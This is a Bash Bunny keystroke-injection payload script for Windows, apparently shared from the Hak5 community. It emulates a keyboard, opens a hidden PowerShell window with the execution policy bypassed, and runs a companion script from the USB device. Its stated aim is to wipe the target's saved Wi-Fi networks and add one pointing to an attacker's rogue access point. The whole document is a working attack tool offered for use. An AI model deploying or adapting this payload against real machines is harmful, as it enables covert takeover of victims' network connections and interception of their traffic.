#!/bin/bash
# Title:         Pineapple-Connect-Windows aka PanicAcid's Incog-neato WiFi Switcheroo'er
# Description:   Deletes all saved wlans on a target machine and creates a new saved wlan with your desired SSID and PSK 
#                Think getting a client to connect to your Mk7's Evil WPA Access Point
#				 Inspired by thatguy.exe on the Hak5 Discord
# Author:        PanicAcid
# Version:       1.0
# Category:      General
# Target:        Windows (Powershell)
# Attackmodes:   HID, STORAGE
#
# Purple.............Loading
# Green .............Execute
# Off................Finished



# OPTIONS - More options available in the Powershell payload
OBFUSCATECMD="N" # Y=yes or N=no

#-----------------------------------
# Purple LED - initializing
LED SETUP

GET SWITCH_POSITION
DUCKY_LANG gb
# Attackmode HID / Storage
ATTACKMODE HID STORAGE

#-----------------------------------
# Green LED - executing

LED STAGE1

#Let's Go!

QUACK GUI r
QUACK DELAY 300
QUACK STRING Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\pconnect.ps1')"
QUACK ENTER

#-----------------------------------
# Kill the lights - finished

LED FINISH